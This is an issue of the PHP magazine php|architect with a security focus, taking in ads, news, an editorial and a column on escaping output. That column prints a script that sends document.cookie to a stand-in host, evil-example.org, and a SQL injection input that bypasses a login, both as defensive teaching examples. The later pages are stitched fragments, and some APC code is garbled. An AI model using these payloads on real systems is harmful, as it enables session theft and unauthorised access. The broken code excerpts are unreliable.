TM VOLUME 4 ISSUE 10 www.phparchitect.com FOCUS ON SECURITY PROTECT YOUR WORK FROM SQL INJECTION ATTACKS Ilia Alshanetsky explains with this exerpt from php|architect’s Guide to PHP Security ESCAPE OUTPUT Handling External Data Is your work vulnerable to HTTP RESPONSE SPLITTING? THE CREATOR OF PHP RASMUS LERDORF ON OPTIMIZATION WITH THE ALTERNATIVE PHP CACHE NEXCESS.NET Internet Solutions 304 1/2 S. State St. Ann Arbor, MI 48104-2445 h t t p : / / n e x c e s s . n e t PHP / MySQL SPECIALISTS! Simple, Affordable, Reliable PHP / MySQL Web Hosting Solutions POPULAR SHARED HOSTING PACKAGES MINI-ME $ 6 95 POPULAR RESELLER HOSTING PACKAGES 500 MB Storage 15 GB Transfer 50 E-Mail Accounts 25 Subdomains 25 MySQL Databases PHP5 / MySQL 4.1.X SITEWORX control panel /mo SMALL BIZ $ 21 95 2000 MB Storage 50 GB Transfer 200 E-Mail Accounts 75 Subdomains 75 MySQL Databases PHP5 / MySQL 4.1.X SITEWORX control panel /mo N EX R ESELL 1 $ 16 95 900 MB Storage 30 GB Transfer Unlimited MySQL Databases Host 30 Domains PHP5 / MYSQL 4.1.X NODEWORX Reseller Access All of our servers run our in-house developed PHP/MySQL server control panel: INTERWORX-CP INTERWORX-CP features include: - Rigorous spam / virus filtering - Detailed website usage stats (including realtime metrics) - Superb file management; WYSIWYG HTML editor INTERWORX-CP is also available for your dedicated server. Just visit http://interworx.info for more information and to place your order . WHY NEXCESS.NET? WE ARE PHP/MYSQL DEVELOPERS LIKE YOU AND UNDERSTAND YOUR SUPPORT NEEDS! ORDER TODAY AND GET 10% OFF ANY WEB HOSTING PACKAGE VISIT HTTP://NEXCESS.NET/PHPARCH FOR DETAILS Dedicated & Managed Dedicated server solutions also available Serving the web since Y2K /mo N EX R ESELL 2 $ 59 95 7500 MB Storage 100 GB Transfer Unlimited MySQL Databases Host Unlimited Domains PHP5 / MySQL 4.1.X NODEWORX Reseller Access /mo C O N T R O L P A N E L : php php 5 php php 4 NEW! PHP 5 & MYSQL 4.1.X PHP4 & MySQL 3.x/4.0.x options also available We'll install any PHP extension you need! Just ask :) 128 BIT SSL CERTIFICATES AS LOW AS $39.95 / YEAR DOMAIN NAME REGISTRATION FROM $10.00 / YEAR GENEROUS AFFILIATE PROGRAM UP TO 10 0% PAY BAC K PER REFE RRAL 30 DAY MONEY BACK GUARANTEE FREE DOMAIN NAME WITH ANY ANNUAL SIGNUP 4.1.x 3.x/4.0.x Features 12 Optimization with APC: An introduction to PHP’s own opcode cache by RASMUS LERDORF 18 SQL Injection Exerpted from php|architect’s Guide to PHP Security by ILIA ALSHANETSKY 26 Flocking to Seagull Increase your productivity by focusing on application-specific code by WILLIAM ZELLER and WERNER M. KRAUSS 36 PHP and News Applying PHP to Publishing News by RUBÉN MARTÍNEZ ÁVILA TM Columns 4 EDITORIAL 6 php|news 8 TIPS & TRICKS Escape Output: Treat External Data with Care by BEN RAMSEY 44 TEST PATTERN Can They PHP? Will Your Candidate Perform? by MARKUS BAKER 50 SECURITY CORNER HTTP Response Splitting by CHRIS SHIFLETT 54 PRODUCT REVIEW SendStudio 2004: Mass Emailing for the Masses by PETER MACINTYRE 58 EXIT (0); I would Like to Thank the Academy . by MARCO TABINI THIS MONTH Download this month’s code at: http://www.phparch.com/code/ Volume 4 - Issue 10 Publisher Marco Tabini Editor-in-Chief Sean Coates Editorial Team Arbi Arzoumani Peter MacIntyre Eddie Peloke Graphics & Layout Aleksandar Ilievski Managing Editor Emanuela Corso News Editor Leslie Hill news@phparch.com Authors Ilia Alshanetsky, Rubén Martínez Ávila, Marcus Baker, Werner M. Krauß, Rasmus Lerdorf, Peter B. MacIntyre, Ben Ramsey, Chris Shiflett, William Zeller php|architect (ISSN 1709-7169) is published twelve times a year by Marco Tabini & Associates, Inc., P.O. Box 54526, 1771 Avenue Road, Toronto, ON M5M 4N5, Canada. Although all possible care has been placed in assuring the accuracy of the contents of this magazine, including all associated source code, listings and figures, the publisher assumes no responsibilities with regards of use of the information contained herein or in all associated material. php|architect, php|a, the php|architect logo, Marco Tabini & Associates, Inc. and the Mta Logo are trademarks of Marco Tabini & Associates, Inc. Contact Information: General mailbox: info@phparch.com Editorial: editors@phparch.com Subscriptions: subs@phparch.com Sales & advertising: sales@phparch.com Technical support: support@phparch.com Printed in Canada Copyright © 2003-2005 Marco Tabini & Associates, Inc. All Rights Reserved R eading the Table of Contents, flipping through the pages, or simply eyeballing the cover of this issue, you will probably notice a certain theme: security. As I’m sure you’ve read in Security Corner over the past issues, the problems of poorly architected sites, security-ignorant code, and general carelessness when it comes to externally-supplied data, are rampant in our community. Failure to abide by a few simple rules (never trust external data; filter input; escape output; etc.) has left much of the world wide web in a state of epidemic. The main culprits: remote code execution, SQL Injection and Cross Site Scripting (“XSS”). I can almost hear some of you thinking “It can’t be THAT bad! How many times do you have to beat this dead horse?” and I wish you were correct. The reality of the situation is that XSS vulnerabilities (if not the other, more severe problems) can be found on all but a few elite sites (relatively speaking, from a pool of billions of web pages, of course). Still don’t think it’s that bad? Then you should have been at php|works in Toronto, last month. Rasmus (more on him below) gave a keynote talk on PHP Security, and spent a good chunk of his time explaining the wide dispersion of XSS vulnerabilities. To illustrate his point (perfectly, I might add), he asked his audience to shout out the names of their favorite Canadian shopping sites, from which he chose a random site he’d never visited. Within 90 seconds, Rasmus had effectively demonstrated an XSS problem on the site. In fact, even the heavy-hitters are not immune: a friend showed me a simple XSS exploit for Google, as I was writing this editorial. Google! This is the sort of stuff that keeps me awake at night, and one of the reasons we’re happy to bring you an issue that’s packed full of security-related content. We have the standard Security Corner, with an explanation of HTTP Response Splitting, and how you can avoid problems in this area. We’re also proud to be publishing a chapter from Ilia Alshanetsky’s recently-released book, php|architect’s Guide to PHP Security, which is even more packed full of security content. Ben continues his mini-series on security-related tips, focusing on escaping output, with which you can avoid the dreaded XSS problems on your sites. Security aside (for a moment), we’re extremely excited to feature an article on APC, the Alternative PHP Cache, written by the creator of PHP, himself, Rasmus Lerdorf. APC has been around for a while, but Rasmus (and his Yahoo! colleagues) have recently put a considerable amount of work into a largely-reworked major release of this extension. There’s finally a stable opcode cache for PHP 5, and from a source we can obviously trust, so we know it’s done right. A special “thanks” goes out to Rasmus for writing the piece. FOCUS ON SECURITY EDITORIAL news Volume 4 Issue 10 • php|architect •6 PHP 5.0.5 RC1 php.net announces the release of PHP 5.0.5 RC1. “This version is a maintenance release that contains numerous bug fixes, including security fixes to vulnerabilities found in the XMLRPC package. All users of PHP 5.0 are encouraged to upgrade to this version. Some of the changes in PHP 5.0.5 include: • Upgraded PCRE library to version 5.0. • Added man pages for “phpize” and “php-config” scripts. • Changed ming to support official 0.2a and 0.3 library versions. • Added PHP_INT_MAX and PHP_INT_ SIZE as predefined constants. • Fixed memory corruption in stristr(). • Many more changes included as well as several bug fixes. Get your hands on the latest release at php.net ! MySQL 5.0 Release Candidate MySQL announces: “I’m proud and excited to announce the first Release Candidate of MySQL 5.0. This milestone signals that we are nearing what is certainly the most important release in MySQL’s history. MySQL 5.0 has new functionality that I hope will be welcomed, adopted, and put to productive use by the community of MySQL users—you. On the commercial side, MySQL AB is getting a lot of good vibes from new enterprise customers who are beginning to understand the impact MySQL can have on their IT infrastructure and costs of running mission-critical applications.” Some of the new ANSI SQL features include: • Views (both read-only and updatable views) • Stored Procedures and Stored Functions, using the SQL:2003 syntax, which is also used by IBM’s DB2 • Triggers (row-level) • Server-side cursors (read-only, non- scrolling) Get all of the latest info from mysql.com . NAJAX 0.4: PHP Ajax Framework The NAJAX Sourceforge homepage announces the latest release version 0.4.1.0. Najax is a PHP-based AJAX framework that allows you to map server side functions into JavaScript. The NAJAX project page describes changes in this minor feature enhancement release as: • Small bug-fixes in the chatAdvanced example—the error dialog was removed. • najax.html.importForm (imports an associative array to the corresponding form elements) and najax.html. exportForm (exports form values to an associative array) were added. • Support for asynchronous call canceling was added. Check out the latest release at http://najax.sourceforge.net/dev/ PHPsh 1.0.1 According to the psychogenic homepage, PHPsh provides ”Simple, web-based shell access to your server.” “It can be very annoying when you are restricted to FTP access—how can you find out the full path to a directory, or perform a command line SQL dump when you’re trapped in the limited, chrooted environment provided by an FTP server? PHPsh (PHP shell) allows you to have shell commands run on your behalf by any webserver which serves PHP pages. It solves these issues and more, allowing you to tap into the power of any Unix (Linux, BSD, etc.) server! PHPsh was designed to allow developers, webmasters and sysadmins a quick and easy remedy to those situations in which it would be so easy to solve a problem or answer a question with shell access but a pointy-haired hosting company thinks shell access is only useful for crackers . while simultaneously allowing anyone with FTP access the right to run arbitrary commands through CGI or PHP (doh!).” Download PHPsh from http://www.psycho genic.co m/en/ products/PHPsh.php. php|architect Releases New Design Patterns Book We’re proud to announce the release of php|architect’s Guide to PHP Design Patterns, the latest release in our Nanobook series. You have probably heard a lot about Design Patterns —a technique that helps you design rock-solid solutions to practical problems that programmers everywhere encounter in their day-to-day work. Even though there has been a lot of buzz, however, no-one has yet come up with a comprehensive resource on design patterns for PHP developers—until today. Author Jason E. Sweat’s book php|architect’s Guide to PHP Design Patterns is the first, comprehensive guide to design patterns designed specifically for the PHP developer. This book includes coverage of 16 design patterns with a specific eye to their applications in PHP when building complex web applications, both in PHP 4 and PHP 5 (where appropriate, sample code for both versions of the language is provided). For more information, http://www.phparch.com/shop_product.php?itemid=96. Volume 4 Issue 10 • php|architect •7 Looking for a new PHP Extension? Check out some of the latest offerings from PECL. expect 0.1 This extension allows to interact with processes through PTYs, using the expect library. runkit 0.6 Replace, rename, and remove user defined functions and classes. Define customized superglobal variables for general purpose use. Execute code in restricted environment (sandboxing). pecl_http 0.14.1 • Building absolute URIs • RFC compliant HTTP redirects • RFC compliant HTTP date handling • Parsing of HTTP headers and messages • Caching by “Last-Modified” and/ or ETag (with ‘on the fly’ option for ETag generation from buffered output) • Support for sending data/files/ streams with (multiple) ranges • Negotiating user preferred language/ charset • Convenient request functionality built upon libcurl • PHP5 classes: HttpUtil, HttpResponse (PHP-5.1), HttpRequest, HttpRequestPool, HttpMessage Xdebug 2.0.0beta4 The Xdebug extension helps you debug your scripts by providing valuable debug information, includin the following: • stack and function traces in error messages with: • full parameter display for user defined functions • function name, file name and line indications • support for member functions • memory allocation • protection for infinite recursions Xdebug also provides: • profiling information for PHP scripts • script execution analysis • capabilities to debug your scripts interactively with a debug client Check out some of the hottest new releases from PEAR. Validate_BE 0.1.1 Package contains locale validation for Belgium such as: • Postal Code • Bank Account Number • Structured Bank Transfer message (Nationnal transfer from an bank account to another) • VAT • Natitonal ID • Identity Card Number (not ready) • SIS CARD ID (belgian “sécurité sociale” ID) HTML_Progress2 2.0.0 This package provides a way to add a fully customizable loading bar into existing XHTML documents. Your browser should be DHTML- compatible. Features: • create bar (horizontal, vertical), circle, ellipse and polygon (square, rectangle) progress meters • allows usage of existing external StyleSheet and/or JavaScript • all elements’ (progress, cells, labels) HTML properties are customizable • percentage/labels can be placed around the progress meter • compliant with CSS/XHMTL standards • integration with template engines is very easy • implements the Observer design pattern: it is possible to add Listeners • adds a customizable monitor pattern to display a progress bar; end-user can abort progress at any time • allows many progress meters on the same page without uses of an iframes • error handling system that supports native PEAR_Error, but also PEAR_ ErrorStack, and any other system you might want to plug-in. • PHP 5 ready Image_Graph 0.7.0 Image_Graph provides a set of classes that create graphs/plots/charts based on (numerical) data. Many different plot types are supported: Bar, line, area, step, impulse, scatter, radar, pie, map, candlestick, band, box & whisker and smoothed line, area and radar plots. Graphs are highly customizable, making it possible to get the exact look and feel that is required. The output is controlled by an Image_ Canvas, which facilitates easy deliver to many different output formats:GD (PNG, JPEG, GIF, WBMP), PDF (using PDFLib), Scalable Vector Graphics (SVG), and others. Image_Graph is compatible with both PHP 4 and PHP 5. Image_Canvas 0.2.2 A package providing a common interface to image drawing, making image rendering library-independent. Services_Yahoo 0.1.1 Services_Yahoo provides object-oriented interfaces to the web service capabilities of Yahoo! HTML_AJAX 0.2.1 Provides PHP and JavaScript libraries for performing AJAX (Communication from JavaScript to your server without reloading the page). Tips & Tricks Volume 4 Issue 10 • php|architect • 8 ESCAPE OUTPUT TIPS & TRICKS by BEN RAMSEY I n the previous three Tips & Tricks columns, I’ve taken time to fully explain why all input should be filtered, and I’ve offered tips on how to filter your data so that the data you work with and save isn’t considered tainted. However, security- conscious programming doesn’t end with filtering data. Sure, now the data conforms to expectations, but it may still contain characters that have special meaning depending on the medium in which your application chooses to display it. That medium may be HTML, SQL, XML, WML, etc. Thus, we must escape output. What is output? Output is any data that leaves your application bound for another client or application. The receiving client or application expects the data to be of a specific format (HTML, SQL, etc.), and that format may include characters or other information with special meaning to the receiving client/application. The data being sent, however, might—and probably does— contain special characters that should not be interpreted with any special meaning by the receiving client. CODE DIRECTORY: escape TO DISCUSS THIS ARTICLE VISIT: http://forum.phparch.com/257 Data may leave your application in the form of HTML sent to a Web browser, SQL sent to a database, XML sent to an RSS reader, WML sent to a wireless device, etc. The possibilities are limitless. Each of these has its own set of special characters that are interpreted differently than the rest of the plain text received. Sometimes we want to send these special characters so that they are interpreted (HTML tags sent to a Web browser, for example), while other times (in the case of input from users or some other source), we don’t want the characters to be interpreted, so we need to escape them. Escaping is also sometimes referred to as encoding. In short, it is the process of representing data in a way that it will not be executed or interpreted. For example, HTML will render the following text in a Web browser as Filter Input. Escape Output. You’re hearing an awful lot of this from me lately, and as one person noted, “It’s great that they’re rubbing this topic in.” Indeed. This month’s Tips & Tricks wraps up the recent focus on security with a discussion on escaping output, why it’s important, and how to do it. Volume 4 Issue 10 • php|architect • 9 Tips & Tricks bold-faced text because the <strong> tags have special meaning: <strong>This is bold text.</strong> But, suppose I want to render the tags in the browser and avoid their interpretation. Then, I need to escape the angle brackets, which have special meaning in HTML. The following illustrates the escaped HTML: <strong>This is bold text.</strong> Why Escape? So, you run a Web-based forum, and you don’t have a problem with users entering the occasional HTML tag. Why should you escape your output? Here’s why: Suppose this forum allows users to enter HTML tags. That’s fair enough—you may want to allow them to enter bold-faced or italicized text—but then it outputs everything in its raw form—everything. So, all HTML tags get interpreted by the web browser. What if a user enters the following? <script> location.href=’http://evil-example.org/steal- cookies.php?cookies=’ + document.cookie; </script> Any subsequent user who is logged into the forum and visits this page will now be redirected to http://evil-example.org/steal-cookies.php and any cookies set by the forum can be stolen. Let’s look at another example. Many sites contain login forms, which usually consist of two fields—a username and a password. When a user enters a username and password, the application may enter the values into an SQL statement, as in the following: $sql = “SELECT * FROM users WHERE username = ‘{$_POST[‘username’]}’ AND password = ‘{$_POST[‘password’]}’”; This statement will work just fine as long as a user enters a proper username and password, but suppose a user enters something like “ example’ OR 1 = 1; -- ” as the username? The value of 1 will always equal 1 , and since the user properly closed the single quote in the statement, the OR clause will be treated as part of the SQL, and everything after the -- will be ignored (at least in most database engines) as a comment. Thus, the user is able to log in without an account. The first step to ensure situations such as these do not occur is to filter all input to ensure that no unexpected characters appear in the data. See the July 2005 through September 2005 issues of php|architect for my full discussion on input filtering. After filtering, be sure to save the raw data. Do not escape it before storing. If escaped before storing, then it might be necessary to unescape it at some point in the future. For example, what if the data is escaped for HTML output and stored to a database table only to be retrieved later to output in XML or to PDF, etc.? Then, it must be unescaped to transport to those formats—and possibly escaped again to accommodate the new output medium. This process is bound to introduce more bugs to your code and could likely reduce the quality of the data. Thus, to make the most of your data, it is best to save it raw (after filtering) and escape only when outputting. Escaping output is not a terribly difficult process. At the least, it may require the addition of a few extra lines of code, or it may require a little more attention to detail. The important thing to keep in mind is the format outputted and the special characters that need to be escaped for that format. For the purposes of this discussion, I will cover escaping for HTML and SQL, since PHP has excellent built-in functions for handling output to these formats. Escaping HTML There are three main functions in PHP for escaping HTML: htmlentities() , htmlspecialchars() , and strip_tags() . In the case of strip_tags() , no special characters are actually escaped, but, instead, all HTML tags are removed. Using this function with no extra parameters is probably one of the safest ways to completely remove all HTML tags from output. I have seen other user-defined functions Data may leave your application in many forms. [...]... persistent connection, it first looks for an existing connection with the same authentication values; if such a connection is available, PHP returns that handle instead of making a new one Words of Caution Persistent connections are not without drawbacks For example, in PHP, connection pooling is done on a perprocess basis rather than per-web server, giving every web-server process its own connection pool... http://localhost/seagull/www) Configuration & Preferences As admin you can see the Configuration and Modules items, along with the normal menu structure Configuration is for global configuration items like site name, database connection details, webroot etc Now click on Configuration, change the Site Name to “The Wishlist Network” and finally click “Save.” Basic tasks like connecting to a database, sending... establish a connection to it, which in some cases can be a rather expensive option, especially when working with complex systems like Oracle, PostgreSQL, MSSQL, and so on One trick that speeds up the connection process is to make a database connection persistent, which allows the database handle to remain valid even after the script is terminated If a connection is persistent, each subsequent connection request... modification time, using filemtime() So, our final approach would look like this: mtime=@filemtime(‘conf.xml’) or die(“conf.xml is missing!”); if((!$config=apc_fetch(‘config’))||$config[‘mtim e’]section as $entry) $config[(string)$entry[‘name’]] = (array)$entry; apc_tore(‘config’,$config); } Now we can change our conf.xml... option, especially if the configuration files have some code aside from variable initialization in the main scope The ideal and simplest solution is to simply not keep configuration and non-script files inside web server- One common way for hackers to spot code vulnerable to SQL injection is by using the developer’s own tools against them Authentication Data Storage Perhaps the final issue to consider... apc_store(‘gallery’,serialize($gallery)); You get a bigger win with applications that use arrays for their configuration—especially if they have localized the config file inclusion to one or two places so you can eliminate an entire include with something like: if(!$config=apc_fetch(‘config’)) include ‘config inc’; And, of course, at the bottom of config.inc you would need to add: apc_tore(‘config’,$config); Volume 4 Issue 10 • php|architect... process reuses the connection rather than recreating it anew The code below creates a persistent MySQL database connection via the mysql_pconnect() function, which is syntactically identical to the regular mysql_connect() function mysql_pconnect(“host”, “login”, “passwd”); Other databases typically offer a persistent connection variant, some as simple as adding the prefix “p” to the word “connect” Anytime... open database connections If the database is not configured to allow at least that many connections, further connection requests are rejected, breaking your web pages In many cases, the database runs on the same machine as the web server, which allows data transmission to be optimized Rather than using the slow and bulky TCP/IP, your application can use Unix Domain Sockets (UDG), the second fastest medium... square one… A proper solution must ensure that other users on the system have no way of seeing authentication data Fortunately, the Apache web server provides just such a mechanism The Apache configuration file, httpd.conf can include arbitrary intermediate configuration files during start-up while Apache is still running as root Since root can read any file, you can place sensitive information in a... simplexml extension in PHP 5, it is extremely easy to write a parser, and with APC storing the parsed config array, it is also blazingly fast Take this sample config file: /var/www /usr/share/php localhost root The parser this is basically a one-liner Well, . Guide to PHP Security, which is even more packed full of security content. Ben continues his mini-series on security- related tips, focusing on escaping. configuration is the easiest way to speed up your PHP applications without changing a single line of your code. Common Configuration Options The APC configuration